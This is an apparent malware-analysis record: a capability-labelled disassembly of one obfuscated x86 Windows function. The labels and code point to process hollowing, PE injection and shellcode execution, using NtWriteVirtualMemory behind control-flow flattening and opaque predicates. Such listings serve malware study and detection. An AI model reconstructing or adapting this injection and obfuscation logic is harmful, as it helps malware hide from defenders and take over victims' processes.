Function at 0x10007970
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x164
mov eax, dword [0x10070604]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10071888]
mov eax, dword [0x10071884]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x166], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x165], al
mov dword [ebp - 0x16c], 0x23aea7d8
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x170], eax
sub eax, 0x836ab21c
je 0x10009dbb
jmp 0x100079e3
mov eax, dword [ebp - 0x170]
sub eax, 0x84cb38c8
je 0x1000c05e
jmp 0x100079f9
mov eax, dword [ebp - 0x170]
sub eax, 0x85741a08
je 0x1000a1b7
jmp 0x10007a0f
mov eax, dword [ebp - 0x170]
sub eax, 0x85e1faf2
je 0x1000a06a
jmp 0x10007a25
mov eax, dword [ebp - 0x170]
sub eax, 0x86c1c022
je 0x1000b349
jmp 0x10007a3b
mov eax, dword [ebp - 0x170]
sub eax, 0x883c10e1
je 0x1000d452
jmp 0x10007a51
mov eax, dword [ebp - 0x170]
sub eax, 0x88aa6a24
je 0x1000a6f5
jmp 0x10007a67
mov eax, dword [ebp - 0x170]
sub eax, 0x8916bc98
je 0x1000ade0
jmp 0x10007a7d
mov eax, dword [ebp - 0x170]
sub eax, 0x896dba3f
je 0x1000944e
jmp 0x10007a93
mov eax, dword [ebp - 0x170]
sub eax, 0x8979bd80
je 0x1000b7d6
jmp 0x10007aa9
mov eax, dword [ebp - 0x170]
sub eax, 0x8b4cb92f
je 0x1000b50a
jmp 0x10007abf
mov eax, dword [ebp - 0x170]
sub eax, 0x8d62951d
je 0x1000c541
jmp 0x10007ad5
mov eax, dword [ebp - 0x170]
sub eax, 0x8e3ce3f6
je 0x1000e651
jmp 0x10007aeb
mov eax, dword [ebp - 0x170]
sub eax, 0x8f6966f9
je 0x1000953c
jmp 0x10007b01
mov eax, dword [ebp - 0x170]
sub eax, 0x9078ffdd
je 0x1000ac46
jmp 0x10007b17
mov eax, dword [ebp - 0x170]
sub eax, 0x90b7f51a
je 0x1000bd3f
jmp 0x10007b2d
mov eax, dword [ebp - 0x170]
sub eax, 0x91206baf
je 0x1000b5f9
jmp 0x10007b43
mov eax, dword [ebp - 0x170]
sub eax, 0x936a496a
je 0x1000bb2a
jmp 0x10007b59
mov eax, dword [ebp - 0x170]
sub eax, 0x941228a6
je 0x1000e0e3
jmp 0x10007b6f
mov eax, dword [ebp - 0x170]
sub eax, 0x95d810d7
je 0x1000dfff
jmp 0x10007b85
mov eax, dword [ebp - 0x170]
sub eax, 0x99ada756
je 0x1000e6b5
jmp 0x10007b9b
mov eax, dword [ebp - 0x170]
sub eax, 0x9a6159e5
je 0x10009c9b
jmp 0x10007bb1
mov eax, dword [ebp - 0x170]
sub eax, 0x9abcb3c4
je 0x1000a8c5
jmp 0x10007bc7
mov eax, dword [ebp - 0x170]
sub eax, 0x9abe4a45
je 0x1000bcc3
jmp 0x10007bdd
mov eax, dword [ebp - 0x170]
sub eax, 0x9bf49c9e
je 0x1000e2c1
jmp 0x10007bf3
mov eax, dword [ebp - 0x170]
sub eax, 0x9d881993
je 0x1000d63f
jmp 0x10007c09
mov eax, dword [ebp - 0x170]
sub eax, 0x9f17b88c
je 0x10009606
jmp 0x10007c1f
mov eax, dword [ebp - 0x170]
sub eax, 0x9f7857b6
je 0x1000a48a
jmp 0x10007c35
mov eax, dword [ebp - 0x170]
sub eax, 0xa09426e4
je 0x1000e3ae
jmp 0x10007c4b
mov eax, dword [ebp - 0x170]
sub eax, 0xa10841fe
je 0x1000c942
jmp 0x10007c61
mov eax, dword [ebp - 0x170]
sub eax, 0xa13af55e
je 0x1000e00e
jmp 0x10007c77
mov eax, dword [ebp - 0x170]
sub eax, 0xa162d531
je 0x1000b2db
jmp 0x10007c8d
mov eax, dword [ebp - 0x170]
sub eax, 0xa1a86b64
je 0x1000da4e
jmp 0x10007ca3
mov eax, dword [ebp - 0x170]
sub eax, 0xa3021395
je 0x1000a3f0
jmp 0x10007cb9
mov eax, dword [ebp - 0x170]
sub eax, 0xa3558e9b
je 0x1000cb9c
jmp 0x10007ccf
mov eax, dword [ebp - 0x170]
sub eax, 0xa4cc7a41
je 0x1000e3e3
jmp 0x10007ce5
mov eax, dword [ebp - 0x170]
sub eax, 0xa5accda7
je 0x1000ca64
jmp 0x10007cfb
mov eax, dword [ebp - 0x170]
sub eax, 0xa5ec292a
je 0x1000acb4
jmp 0x10007d11
mov eax, dword [ebp - 0x170]
sub eax, 0xa78d95f7
je 0x1000b012
jmp 0x10007d27
mov eax, dword [ebp - 0x170]
sub eax, 0xa7b73c19
je 0x1000c730
jmp 0x10007d3d
mov eax, dword [ebp - 0x170]
sub eax, 0xa7e07a5c
je 0x1000cc5a
jmp 0x10007d53
mov eax, dword [ebp - 0x170]
sub eax, 0xa9012116
je 0x1000bc60
jmp 0x10007d69
mov eax, dword [ebp - 0x170]
sub eax, 0xa990a825
je 0x1000e318
jmp 0x10007d7f
mov eax, dword [ebp - 0x170]
sub eax, 0xa9c70147
je 0x1000a868
jmp 0x10007d95
mov eax, dword [ebp - 0x170]
sub eax, 0xaa2703b6
je 0x1000b410
jmp 0x10007dab
mov eax, dword [ebp - 0x170]
sub eax, 0xab32bbc3
je 0x1000d58b
jmp 0x10007dc1
mov eax, dword [ebp - 0x170]
sub eax, 0xac40c6e4
je 0x1000d52f
jmp 0x10007dd7
mov eax, dword [ebp - 0x170]
sub eax, 0xac7de4a9
je 0x1000c32e
jmp 0x10007ded
mov eax, dword [ebp - 0x170]
sub eax, 0xac974af9
je 0x1000d6df
jmp 0x10007e03
mov eax, dword [ebp - 0x170]
sub eax, 0xae1e972a
je 0x1000aac0
jmp 0x10007e19
mov eax, dword [ebp - 0x170]
sub eax, 0xaef0d523
je 0x1000e182
jmp 0x10007e2f
mov eax, dword [ebp - 0x170]
sub eax, 0xaf50e9cc
je 0x1000aa4a
jmp 0x10007e45
mov eax, dword [ebp - 0x170]
sub eax, 0xafe578dd
je 0x1000bba7
jmp 0x10007e5b
mov eax, dword [ebp - 0x170]
sub eax, 0xb0752871
je 0x1000b71f
jmp 0x10007e71
mov eax, dword [ebp - 0x170]
sub eax, 0xb1364e60
je 0x1000bd9f
jmp 0x10007e87
mov eax, dword [ebp - 0x170]
sub eax, 0xb189599c
je 0x1000bc7a
jmp 0x10007e9d
mov eax, dword [ebp - 0x170]
sub eax, 0xb3bc90d8
je 0x1000a4fc
jmp 0x10007eb3
mov eax, dword [ebp - 0x170]
sub eax, 0xb3e775cc
je 0x1000d57c
jmp 0x10007ec9
mov eax, dword [ebp - 0x170]
sub eax, 0xb46f363c
je 0x1000bc37
jmp 0x10007edf
mov eax, dword [ebp - 0x170]
sub eax, 0xb480b1a7
je 0x1000d879
jmp 0x10007ef5
mov eax, dword [ebp - 0x170]
sub eax, 0xb481cf44
je 0x1000c24b
jmp 0x10007f0b
mov eax, dword [ebp - 0x170]
sub eax, 0xb52015e1
je 0x1000e672
jmp 0x10007f21
mov eax, dword [ebp - 0x170]
sub eax, 0xb56c290a
je 0x1000954b
jmp 0x10007f37
mov eax, dword [ebp - 0x170]
sub eax, 0xb65d4329
je 0x10009dca
jmp 0x10007f4d
mov eax, dword [ebp - 0x170]
sub eax, 0xb973cb0f
je 0x10009f42
push eax
mov eax, esp
mov dword [ebp - 0x164], eax
push eax
mov eax, esp
mov dword [ebp - 0x160], eax
push eax
mov eax, esp
mov dword [ebp - 0x15c], eax
push eax
mov eax, esp
mov dword [ebp - 0x158], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x154], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0x150], eax
push eax
mov eax, esp
mov dword [ebp - 0x14c], eax
push eax
mov eax, esp
mov dword [ebp - 0x148], eax
mov eax, dword [0x10071888]
mov ecx, dword [0x10071884]
mov edx, eax
add edx, 0x887997fb
sub edx, 1
sub edx, 0x887997fb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x95d810d7
mov ecx, 0x618ee3b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov dword [ebp - 0x16c], 0xb56c290a
jmp 0x1000e6f4
push eax
mov eax, esp
mov dword [ebp - 0x144], eax
push eax
mov eax, esp
mov dword [ebp - 0x140], eax
push eax
mov eax, esp
mov dword [ebp - 0x13c], eax
push eax
mov eax, esp
mov dword [ebp - 0x138], eax
push eax
mov eax, esp
mov dword [ebp - 0x134], eax
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x16c], 0xd8218409
jmp 0x1000e6f4
mov eax, dword [0x10071888]
mov ecx, dword [0x10071884]
mov edx, eax
add edx, 0xb0b62a8d
sub edx, 1
sub edx, 0xb0b62a8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa13af55e
mov ecx, 0x225962f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0x16c], 0x6220689c
jmp 0x1000e6f4
mov dword [ebp - 0x16c], 0xb65d4329
jmp 0x1000e6f4
mov eax, dword [0x10071888]
mov ecx, dword [0x10071884]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc5d76f77
mov ecx, 0x4c0ea0cc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0xc8], eax
mov ecx, dword [0x10071888]
mov eax, dword [0x10071884]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5a402a78
mov ecx, 0x574f2b73
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax + 0xd0]
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0x16c], 0xd2ab0a62
jmp 0x1000e6f4
mov eax, dword [0x10071888]
mov ecx, dword [0x10071884]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3e92a060
mov ecx, 0x6b045fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov dl, byte [ebp - 0xb5]
mov eax, 0xd76321f0
mov ecx, 0x5231bebf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10006510
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x144]
mov dword [eax], ecx
mov ecx, dword [0x10071888]
mov eax, dword [0x10071884]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x65f9061a
mov ecx, 0xb9a2c748
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov eax, dword [0x10071888]
mov ecx, dword [0x10071884]
mov edx, eax
sub edx, 0x9dbd8d48
sub edx, 1
add edx, 0x9dbd8d48
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfbc5c78a
mov ecx, 0xc933c2de
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov dword [ebp - 0x16c], 0x7c14858f
jmp 0x1000e6f4
mov ecx, dword [0x10071888]
mov eax, dword [0x10071884]
mov edx, ecx
sub edx, 0xf5ed894e
sub edx, 1
add edx, 0xf5ed894e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb480b1a7
mov ecx, 0xe2002ba7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov ecx, dword [0x10071888]
mov eax, dword [0x10071884]
mov edx, ecx
add edx, 0x7acf428a
sub edx, 1
sub edx, 0x7acf428a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd58773e7
mov ecx, 0xae1e972a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov eax, dword [0x10071888]
mov ecx, dword [0x10071884]
mov edx, eax
add edx, 0x92505889
sub edx, 1
sub edx, 0x92505889
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5e2f4c93
mov ecx, 0x13a93d26
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov ecx, dword [0x10071888]
mov eax, dword [0x10071884]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5e2f4c93
mov ecx, 0xa5ec292a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov ecx, dword [0x10071888]
mov eax, dword [0x10071884]
mov edx, ecx
add edx, 0xcdedc26d
sub edx, 1
sub edx, 0xcdedc26d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdd9cd9c9
mov ecx, 0x78850357
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov eax, dword [0x10071888]
mov ecx, dword [0x10071884]
mov edx, eax
sub edx, 0x8eeb1d15
sub edx, 1
add edx, 0x8eeb1d15
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xefcf04e1
mov ecx, 0xbd10b790
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov eax, dword [ebp - 0x128]
mov dword [eax], 0
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov dword [ebp - 0x16c], 0x2ec06e9b
jmp 0x1000e6f4
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax + 0x20]
mov ecx, dword [ebp - 0x130]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x120]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10007080
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x124]
mov edx, dword [eax]
mov eax, dword [ebp - 0x130]
mov esi, dword [eax]
mov eax, dword [ebp - 0x120]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0xd384d81d
mov ecx, 0x86c1c022
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov ecx, dword [0x10071888]
mov eax, dword [0x10071884]
mov edx, ecx
sub edx, 0xd82e8166
sub edx, 1
add edx, 0xd82e8166
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3430900c
mov ecx, 0x2982f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov eax, dword [0x10071888]
mov ecx, dword [0x10071884]
mov edx, eax
add edx, 0x89e84a7f
sub edx, 1
sub edx, 0x89e84a7f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x17b2f6cc
mov ecx, 0x5e1e4360
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov eax, dword [0x10071888]
mov ecx, dword [0x10071884]
mov edx, eax
sub edx, 0x21df5515
sub edx, 1
add edx, 0x21df5515
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x101c6928
mov ecx, 0xd895eb4a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov eax, dword [0x10071888]
mov ecx, dword [0x10071884]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdbce20e7
mov ecx, 0x52f4db58
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov ecx, dword [0x10071888]
mov eax, dword [0x10071884]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x407e295d
mov ecx, 0x5f2d8c80
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x130]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x120]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x120]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov dword [ebp - 0x64], eax
mov eax, dword [0x10071888]
mov ecx, dword [0x10071884]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa1a86b64
mov ecx, 0xd48f4232
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov dword [ebp - 0x16c], 0x184ee5d8
jmp 0x1000e6f4
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x60], eax
mov ecx, dword [0x10071888]
mov eax, dword [0x10071884]
mov edx, ecx
sub edx, 0x77a605ea
sub edx, 1
add edx, 0x77a605ea
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbfcc26d9
mov ecx, 0xb46f363c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov dword [ebp - 0x16c], 0x2a8d8772
jmp 0x1000e6f4
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x16c], 0xb189599c
jmp 0x1000e6f4
mov eax, dword [0x10071888]
mov ecx, dword [0x10071884]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x66d83159
mov ecx, 0x9abe4a45
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov eax, dword [ebp - 0x5c]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x55], al
mov ecx, dword [0x10071888]
mov eax, dword [0x10071884]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x66d83159
mov ecx, 0x90b7f51a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov dl, byte [ebp - 0x55]
mov eax, 0xa5accda7
mov ecx, 0x3e5a8b2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov dword [ebp - 0x16c], 0xf4c135a8
jmp 0x1000e6f4
mov ecx, dword [ebp - 0x48]
add ecx, 0xaddda9f9
add ecx, 8
sub ecx, 0xaddda9f9
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x140]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov edx, dword [eax + 0x34]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [ebp - 0x10c]
mov dword [eax], 0
mov dword [ebp - 0x16c], 0x63ac9681
jmp 0x1000e6f4
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10c]
mov ecx, dword [ecx]
mov ax, word [eax + ecx*2]
mov word [ebp - 0x42], ax
mov ecx, dword [0x10071888]
mov eax, dword [0x10071884]
mov edx, ecx
sub edx, 0x9809550f
sub edx, 1
add edx, 0x9809550f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3922313d
mov ecx, 0x26ac602b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x128]
mov ecx, dword [ecx]
mov ecx, dword [ecx]
sub eax, 0xa9c091fa
add eax, ecx
add eax, 0xa9c091fa
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x16c], 0x361ac0a9
jmp 0x1000e6f4
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x104]
mov ecx, dword [ecx]
add ecx, 0x8a337c1b
add ecx, eax
sub ecx, 0x8a337c1b
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [0x10071888]
mov ecx, dword [0x10071884]
mov edx, eax
sub edx, 0x9103de25
sub edx, 1
add edx, 0x9103de25
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa09426e4
mov ecx, 0xf104bb3c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov ecx, dword [0x10071888]
mov eax, dword [0x10071884]
mov edx, ecx
add edx, 0x8a8bb973
sub edx, 1
sub edx, 0x8a8bb973
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x918f06c
mov ecx, 0xe0e03dcf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov dword [ebp - 0x16c], 0xdccb57c3
jmp 0x1000e6f4
mov eax, dword [ebp - 0x144]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0x154]
mov edx, dword [eax]
mov eax, dword [ebp - 0x140]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x16c], 0x6b077788
jmp 0x1000e6f4
mov dl, byte [ebp - 0x21]
mov eax, 0x1d91c5f4
mov ecx, 0x7698012e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov ecx, dword [0x10071888]
mov eax, dword [0x10071884]
mov edx, ecx
sub edx, 0xe0697d3e
sub edx, 1
add edx, 0xe0697d3e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe491fb6a
mov ecx, 0x7800dd55
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000e6f4
mov dword [ebp - 0x16c], 0xd76321f0
